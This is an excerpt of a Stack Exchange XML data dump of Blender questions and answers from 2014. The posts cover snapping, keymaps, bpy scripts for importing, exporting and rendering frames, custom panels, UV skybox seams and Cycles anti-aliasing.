  <row Id="17820" PostTypeId="2" ParentId="17803" CreationDate="2014-10-15T17:17:31.150" Score="2" Body="&lt;p&gt;There are always a few things you can do when trying to move things in exact increments.&#xA;the first is to enable increment snapping, noted by the magnet on the bottom of the 3D view-port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y7Gy1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to type the distance you want your object to move on your keyboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example. &lt;kbd&gt;G&lt;/kbd&gt;&gt;&lt;kbd&gt;x&lt;/kbd&gt;&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will move your object one unit on the 'X' axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you find you object does not line up with the grid &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/Kbd&gt;&gt;'Selection to Grid' will realign your object to the nearest major intersection on the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vince&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2014-10-15T17:40:29.627" LastActivityDate="2014-10-15T17:40:29.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17821" PostTypeId="2" ParentId="17817" CreationDate="2014-10-15T17:31:57.190" Score="3" Body="&lt;p&gt;Here is an outline:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure 3DS importer and Three.js exporter are installed and enabled&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# test&#xA;hasattr(bpy.types, &quot;EXPORT_OT_threejs&quot;)&#xA;&#xA;# enable&#xA;try:&#xA;    bpy.ops.wm.addon_enable(module=&quot;threejs&quot;)&#xA;except ImportError:&#xA;    print(&quot;Threejs importer addon not available&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Loop over all the files and perform below actions for every single one,&lt;br&gt;&#xA;you may use &lt;code&gt;glob.glob()&lt;/code&gt; or &lt;code&gt;os.walk()&lt;/code&gt; unless you want to select the files via UI&lt;br&gt;&#xA;(see the Operator Import tempate, you will need to provide&lt;br&gt;&#xA;&lt;code&gt;files = bpy.props.CollectionProperty(type=bpy.types.PropertyGroup)&lt;/code&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.WindowManager.html?highlight=files#bpy.types.WindowManager.fileselect_add&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear scene if desired, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.ops.object.mode_set(mode='OBJECT')&#xA; bpy.ops.object.select_all(action='SELECT')&#xA; bpy.ops.object.delete()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import 3DS, basically call the operator &lt;code&gt;bpy.ops.import_scene.autodesk_3ds(filepath=&quot;the_path_to_file.3ds&quot;)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The importer should select the imported files, but there will usually not be an active object. To run operations on the imported data or for some exporters you might need to set one object active (or process each individually and make one active after another).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export to JS, basically call the operator &lt;code&gt;bpy.ops.export.threejs(filepath=&quot;target_file.js&quot;, **kwargs)&lt;/code&gt;,&lt;br&gt;&#xA;&lt;code&gt;kwargs&lt;/code&gt; stands for all additional arguments you may wanna give to the export operator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-15T17:31:57.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17822" PostTypeId="1" AcceptedAnswerId="17826" CreationDate="2014-10-15T18:16:29.507" Score="7" ViewCount="3103" Body="&lt;p&gt;How can I add a shortcut for the 'Only Render' checkbox in the Display section of the Properties pane?&lt;br&gt;&#xA;I use the function a lot to get a better view on things and would save time if there was a shortcut for it.&lt;/p&gt;&#xA;" OwnerUserId="6418" LastEditorUserId="5705" LastEditDate="2015-12-14T18:16:45.803" LastActivityDate="2015-12-14T18:16:45.803" Title="How to add shortcut for 'Only Render'?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17823" PostTypeId="1" AcceptedAnswerId="17832" CreationDate="2014-10-15T18:27:35.567" Score="12" ViewCount="555" Body="&lt;p&gt;Obviously it is possible to add new mesh &quot;type&quot; with python in the list of create mesh. I think I read that it isn't possible to create a new &quot;modifier&quot; type with python. What about constraints type (like a 4th kind of &quot;track to&quot; for example)? Would this be possible to do in python and if yes where should I start to look at in the docs ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx a lot,&#xA;Stan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost three years after ..., I was wondering if that is still the case ? Are we able to create new modifiers or constraints types with the python API in 2.78 ?&lt;/p&gt;&#xA;" OwnerUserId="6039" LastEditorUserId="6039" LastEditDate="2017-07-30T19:54:12.640" LastActivityDate="2017-07-30T19:54:46.330" Title="Would it be possible to create a new constraint &quot;type&quot; with python?" Tags="&lt;python&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17824" PostTypeId="2" ParentId="17814" CreationDate="2014-10-15T19:15:25.747" Score="2" Body="&lt;p&gt;You have a broken constraint on the bone named : DEF_head (in the last bone layer of the armature). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AI3Ws.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just select the bone named &quot;head&quot; in the &quot;copy rotation&quot; constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9DJ8e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6039" LastActivityDate="2014-10-15T19:15:25.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17825" PostTypeId="1" CreationDate="2014-10-15T19:30:26.783" Score="0" ViewCount="1712" Body="&lt;p&gt;I am used to Unity's controls and would like to mimic them to Blender to make transitions between the two easier. If you know how, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I apologize, I should have been more specific. Is there a way to import Unity control preferences(key mappings) to Blender? If not, can I remap the basic (by default) left click to rotate view instead of placing crosshairs?&lt;/p&gt;&#xA;" OwnerUserId="7512" LastEditorUserId="5705" LastEditDate="2015-12-14T18:15:59.467" LastActivityDate="2015-12-14T18:15:59.467" Title="How to set Blender to use identical controls as Unity?" Tags="&lt;interface&gt;&lt;customization&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17826" PostTypeId="2" ParentId="17822" CreationDate="2014-10-15T19:34:40.830" Score="10" Body="&lt;p&gt;In &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt; User preferences &amp;gt; Input&lt;/em&gt;, navigate to &lt;em&gt;3D view &amp;gt; 3D view (Global)&lt;/em&gt;, then scroll to the bottom of &lt;em&gt;3D view &amp;gt; (Global)&lt;/em&gt; and click &lt;em&gt;add new&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.ops.wm.html?#bpy.ops.wm.context_toggle&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;wm.context_toggle&lt;/code&gt;&lt;/a&gt; as the operator.&lt;/p&gt;&#xA;&lt;p&gt;This is an operator which toggles a property given by a datapath parameter.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put &lt;code&gt;space_data.show_only_render&lt;/code&gt; as the datapath parameter (you can put stuff there even if it appears grayed out). You can get the datapath for any checkbox by right clicking on it and selecting &lt;em&gt;Copy Data Path&lt;/em&gt;. The datapath can then be pasted with &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign a key combination which doesn't conflict with an existing shortcut (e.g. &lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SBhU8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now pressing &lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; (or whatever you assigned as the shortcut) in the 3D view will toggle &lt;em&gt;show only render&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-19T19:37:22.453" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17827" PostTypeId="2" ParentId="17818" CreationDate="2014-10-15T20:21:18.953" Score="5" Body="&lt;p&gt;The reason it's not appearing is because this option is only available in the Cycles render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To switch to Cycles, go to the Info header (in the default layout, it's at the top) and change the engine to Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccrHz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-15T20:21:18.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17828" PostTypeId="2" ParentId="17825" CreationDate="2014-10-15T21:25:05.517" Score="1" Body="&lt;p&gt;Yes, you can remap the controls. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;, or go to the &lt;code&gt;Info Header&amp;gt;File&amp;gt;User Preferences&lt;/code&gt;, to open the User Preferences; Then, switch to the edit tab and edit away!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to take a look at existing presets; However there isn't any for Unity controls...&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-15T21:25:05.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17829" PostTypeId="2" ParentId="17797" CreationDate="2014-10-15T21:33:29.703" Score="5" Body="&lt;p&gt;If you want the user to append a picture to &lt;code&gt;bpy.data.images&lt;/code&gt; and do not need a reference to that image, you may add the operator &lt;code&gt;bpy.ops.image.open()&lt;/code&gt; operator to a panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.operator(&quot;image.open&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to call it yourself, use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.image.open('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the file selector shows up.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The widget like in your screenshot is &lt;code&gt;template_ID()&lt;/code&gt;, but we can't really utilize it, as we can't create pointer properties to store a datablock reference in.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-15T21:33:29.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17830" PostTypeId="1" AcceptedAnswerId="17835" CreationDate="2014-10-15T21:34:29.953" Score="2" ViewCount="118" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B0XkY.jpg&quot; alt=&quot;transparent mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model in Blender shows the mesh double faced and good looking but when exported into game looks like this. How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="6311" LastActivityDate="2014-10-16T00:24:35.847" Title="How to fix single face mesh?" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17831" PostTypeId="1" AcceptedAnswerId="17834" CreationDate="2014-10-15T21:41:35.790" Score="2" ViewCount="692" Body="&lt;p&gt;I would like to have an outdoor area in my game, however, my sky and horizon look like they're definitely a skybox, which they are. this is not due to bad unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to know if there is a convincing way to create a sky by changing the colors of Blenders natural 'sky' default gray. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need to have clouds or any of that jargon, just want the light and colors, like in this picture by gandalf3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UqfxK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the effect I need.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="599" LastEditDate="2014-10-16T08:54:36.263" LastActivityDate="2014-10-16T08:54:36.263" Title="What's the most effective way to create a convincing horizon in the game engine?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;game-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17832" PostTypeId="2" ParentId="17823" CreationDate="2014-10-15T21:56:52.663" Score="4" Body="&lt;p&gt;Currently we don't support Python constraints (though they were supported at one point in Blender 2.4x).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-15T21:56:52.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17833" PostTypeId="1" AcceptedAnswerId="200804" CreationDate="2014-10-15T22:21:30.753" Score="2" ViewCount="910" Body="&lt;p&gt;I noticed that when Blender writes out a custom keymap it completely overrides all keys that were assigned previously.  I don't want to miss out on any changes in the default key mappings in future versions of blender, so I am trying to make a script that would append the keys I want to use to the defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;wm = bpy.context.window_manager&#xA;kc = wm.keyconfigs.user&#xA;&#xA;km = kc.keymaps['View2D']&#xA;kmi = km.keymap_items.new('view2d.zoom', 'BUTTON4MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('view2d.zoom', 'BUTTON4MOUSE', 'PRESS', shift=True)&#xA;kmi = km.keymap_items.new('view2d.pan', 'BUTTON5MOUSE', 'PRESS')&#xA;&#xA;km = kc.keymaps['View2D Buttons List']&#xA;kmi = km.keymap_items.new('view2d.scroller_activate', 'BUTTON4MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('view2d.pan', 'BUTTON5MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('view2d.zoom', 'BUTTON4MOUSE', 'PRESS', shift=True)&#xA;&#xA;km = kc.keymaps['3D View']&#xA;kmi = km.keymap_items.new('view3d.rotate', 'BUTTON4MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('view3d.move', 'BUTTON5MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('view3d.zoom', 'BUTTON4MOUSE', 'PRESS', shift=True, ctrl=True)&#xA;kmi = km.keymap_items.new('view3d.dolly', 'BUTTON4MOUSE', 'PRESS', shift=True)&#xA;&#xA;km = kc.keymaps['View3D Fly Modal']&#xA;kmi = km.keymap_items.new_modal('PAN_ENABLE', 'BUTTON5MOUSE', 'PRESS', any=True)&#xA;kmi = km.keymap_items.new_modal('PAN_DISABLE', 'BUTTON5MOUSE', 'RELEASE', any=True)&#xA;&#xA;km = kc.keymaps['View3D Rotate Modal']&#xA;kmi = km.keymap_items.new_modal('CONFIRM', 'BUTTON4MOUSE', 'RELEASE', any=True)&#xA;&#xA;km = kc.keymaps['View3D Move Modal']&#xA;kmi = km.keymap_items.new_modal('CONFIRM', 'BUTTON5MOUSE', 'RELEASE', any=True)&#xA;&#xA;km = kc.keymaps['View3D Zoom Modal']&#xA;kmi = km.keymap_items.new_modal('CONFIRM', 'BUTTON4MOUSE', 'RELEASE', any=True)&#xA;&#xA;km = kc.keymaps['View3D Dolly Modal']&#xA;kmi = km.keymap_items.new_modal('CONFIRM', 'BUTTON4MOUSE', 'RELEASE', any=True)&#xA;&#xA;km = kc.keymaps['Image']&#xA;kmi = km.keymap_items.new('image.view_pan', 'BUTTON4MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('image.view_pan', 'BUTTON5MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('image.view_zoom', 'BUTTON4MOUSE', 'PRESS', shift=True)&#xA;&#xA;km = kc.keymaps['Node Editor']&#xA;kmi = km.keymap_items.new('node.backimage_move', 'BUTTON5MOUSE', 'PRESS', alt=True)&#xA;&#xA;km = kc.keymaps['Clip Editor']&#xA;kmi = km.keymap_items.new('clip.view_pan', 'BUTTON4MOUSE', 'PRESS')&#xA;kmi = km.keymap_items.new('clip.view_pan', 'BUTTON5MOUSE', 'PRESS', ctrl=True)&#xA;kmi = km.keymap_items.new('clip.view_zoom', 'BUTTON4MOUSE', 'PRESS', shift=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works when I manually execute after blender has started, but I tried putting the script in my scripts/startup user folder and it said View2D was not found.  So it's executing before View2D keymap context is defined, but I don't know how to make the script execute after everything else has been mapped.  Any ideas how to make this work?&lt;/p&gt;&#xA;" OwnerUserId="7513" LastEditorUserId="7513" LastEditDate="2014-10-15T22:36:30.587" LastActivityDate="2020-11-03T12:29:48.633" Title="Appending hotkeys to default keymap" Tags="&lt;python&gt;&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17834" PostTypeId="2" ParentId="17831" CreationDate="2014-10-15T23:20:45.870" Score="1" Body="&lt;p&gt;Try enabling &lt;em&gt;Mist&lt;/em&gt; in world settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5nrch.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VZFri.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZFri.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32141&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example .blend&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-15T23:20:45.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17835" PostTypeId="2" ParentId="17830" CreationDate="2014-10-15T23:50:23.367" Score="1" Body="&lt;p&gt;It looks to me as though you have backface culling enabled in your game engine.  Are you using blender game engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either add a solidify modifier as gandalf3 said in the comments.  Or, if this is the only direction you will be viewing the curtains from you can flip the normals on the curtains.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-10-16T00:24:35.847" LastActivityDate="2014-10-16T00:24:35.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17836" PostTypeId="1" AcceptedAnswerId="17841" CreationDate="2014-10-16T01:54:37.640" Score="3" ViewCount="623" Body="&lt;p&gt;I hope this one wasn't ask before (can't find anything here though).&#xA;With a script, I'd like to draw a panel (&quot;My panel&quot; for example) in the UI region but I just want the panel to appear for a designated object : for example the active object when I generate the panel/run the script. Is this possible ?&lt;/p&gt;&#xA;" OwnerUserId="6039" LastActivityDate="2014-10-16T06:12:23.983" Title="Python - draw custom panel in UI region only for 1 object" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17838" PostTypeId="2" ParentId="17705" CreationDate="2014-10-16T03:03:30.297" Score="1" Body="&lt;p&gt;Solution without drivers:&#xA;What about using a curve to define the length of your array ? You could then hook the last control point of your curve to your ObjRight. The solution isn't perfect as you would have a space between the OjRight and the Endcap but with a proper set up you could mask the problem (moving the ObjRight with fix increments snap to the grid for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution with drivers:&#xA;This solution (probably the best) would be to drive the ObjRight location (or an empty that you can use as a parent for ObjRight) by the array count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it makes sens. Let me know if you need clarification.&lt;/p&gt;&#xA;" OwnerUserId="6039" LastEditorUserId="6039" LastEditDate="2014-10-16T03:09:13.770" LastActivityDate="2014-10-16T03:09:13.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17839" PostTypeId="1" AcceptedAnswerId="17840" CreationDate="2014-10-16T04:48:18.687" Score="9" ViewCount="5227" Body="&lt;p&gt;I'm new to blender scripting and with the api change in 2.56 I'm having difficulty finding relevant information. I'm trying to render 8 non-consecutive single frames to pngs. They are the same scene and camera, I'm just trying to get different angles of an object for creating sprites for a game. I found &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?87757-PYTHON-sequentially-rendering-multiple-frame-batches&quot;&gt;this&lt;/a&gt; tutorial but it's out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hate to ask for code because it's almost going to be the whole script, but it would be apreciated. I would be just as happy with a some direction on getting started though.&lt;/p&gt;&#xA;" OwnerUserId="7518" LastActivityDate="2014-10-16T22:29:36.090" Title="Python Render Specific Frames" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17840" PostTypeId="2" ParentId="17839" CreationDate="2014-10-16T05:19:43.983" Score="15" Body="&lt;p&gt;Try setting the frame and then rendering it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.ops.render.html?#bpy.ops.render.render&quot;&gt;&lt;code&gt;bpy.ops.render.render()&lt;/code&gt;&lt;/a&gt; is an operator which renders the current scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.Scene.html?highlight=frame_set#bpy.types.Scene.frame_set&quot;&gt;&lt;code&gt;bpy.context.scene.frame_set()&lt;/code&gt;&lt;/a&gt; is an operator which sets the scene frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;fp = scene.render.filepath # get existing output path&#xA;scene.render.image_settings.file_format = 'PNG' # set output format to .png&#xA;&#xA;frames = 5, 9, 17&#xA;&#xA;for frame_nr in frames:&#xA;&#xA;    # set current frame to frame 5&#xA;    scene.frame_set(frame_nr)&#xA;&#xA;    # set output path so render won't get overwritten&#xA;    scene.render.filepath = fp + str(frame_nr)&#xA;    bpy.ops.render.render(write_still=True) # render still&#xA;&#xA;# restore the filepath&#xA;scene.render.filepath = fp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="55" LastEditDate="2014-10-16T22:29:36.090" LastActivityDate="2014-10-16T22:29:36.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17841" PostTypeId="2" ParentId="17836" CreationDate="2014-10-16T06:12:23.983" Score="2" Body="&lt;p&gt;You would do this with the &lt;code&gt;poll()&lt;/code&gt; method. It's a function within the operator class which returns true or false whether the operator can run within the given context. I can't remember for certain if the UI becomes visible/hidden or just active/inactive as a result... Could be either or.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'operator_mesh_uv.py' template has a pretty straightforward example for how it's used. It tests if the user is in edit mode, but it could just as well check if the active object is the correct one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class UvOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;UV Operator description&quot;&quot;&quot;&#xA;        bl_idname = &quot;uv.simple_operator&quot;&#xA;        bl_label = &quot;Simple UV Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.mode == 'EDIT_MESH')&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could store the active object in a variable when the operator is registered and poll against that. Or you could manually add a custom property to the designated object. That way the information is stored within the blend file across sessions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (&quot;mycustomproperty&quot; in context.object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-10-16T06:12:23.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17842" PostTypeId="1" CreationDate="2014-10-16T09:14:30.260" Score="3" ViewCount="1287" Body="&lt;p&gt;The question is: how do I get rid of these particular seams? I've found a few tutorials on removing seams in UV mapped textures, but these all seem geared specifically towards matching textures that actually don't show gaps. In this image, you can see the seams near the bottom, appearing white. In the past, I have caused them to be black or grey, by having &quot;render alpha&quot; unchecked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Qiy9jJR.jpg&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my UV map, everything looks reasonably correct: the image is 1024x768px, with each &quot;frame/cube-side&quot; being 256x256px. Some of them match up fine, others seem to leave a few-pixels-wide gap. With the UV map, I have checked to make sure the map isn't picking up any unused areas of the texture. The UV map bounds the image perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that this is a bug in the UV map stuff, causing it to pick up a pixel or two of the unused transparent areas of the image? Or is it something I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: These lines appear exactly on the same edges as the seams I marked. This makes sense, taken with the fact that it's rendering transparency. Why this happens, I don't know.&lt;/p&gt;&#xA;" OwnerUserId="7519" LastEditorUserId="2217" LastEditDate="2014-10-16T13:19:02.453" LastActivityDate="2017-12-30T23:27:57.323" Title="UV Mapped a cube for a skybox, seams showing" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17843" PostTypeId="1" CreationDate="2014-10-16T09:31:01.583" Score="1" ViewCount="64" Body="&lt;p&gt;I can't get my objects... which at the moment is the cube to move along the x,y, z axis using my mouse. If I left click, all I seem to do is move the crosshairs.   I am using Blender 2.72.  The only way I can move along those axis' is if I click &quot;G&quot; for grab then which ever I would like either x,y, or z.  if I try to get the trackball to move... I cant do anything with it.  IS this a bug?  Ive been looking for answers on youtube in tutorals but, everyone just left clicks and moves along the choice axis... I feel like im lost until I can get this working.   HELP!&lt;/p&gt;&#xA;" OwnerUserId="7520" LastActivityDate="2014-10-16T09:31:01.583" Title="I have a problem left clicking the x,y, z axis" Tags="&lt;objects&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-16T10:54:36.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="17844" PostTypeId="1" CreationDate="2014-10-16T09:57:59.180" Score="37" ViewCount="5476" Body="&lt;p&gt;Often when a mesh light is visible in the camera, the edges are not anti-aliased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how many samples I do, the lamp border always looks jagged and pixelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a rendering error? How can I get around this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8quqa.png&quot; alt=&quot;cornell-box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And zoomed in 4x:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nHGg8.png&quot; alt=&quot;cornell-box-zoomed&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2020-10-21T15:10:39.920" Title="Aliased edge around light source in cycles" Tags="&lt;cycles-render-engine&gt;&lt;antialiasing&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="19" ContentLicense="CC BY-SA 3.0" />
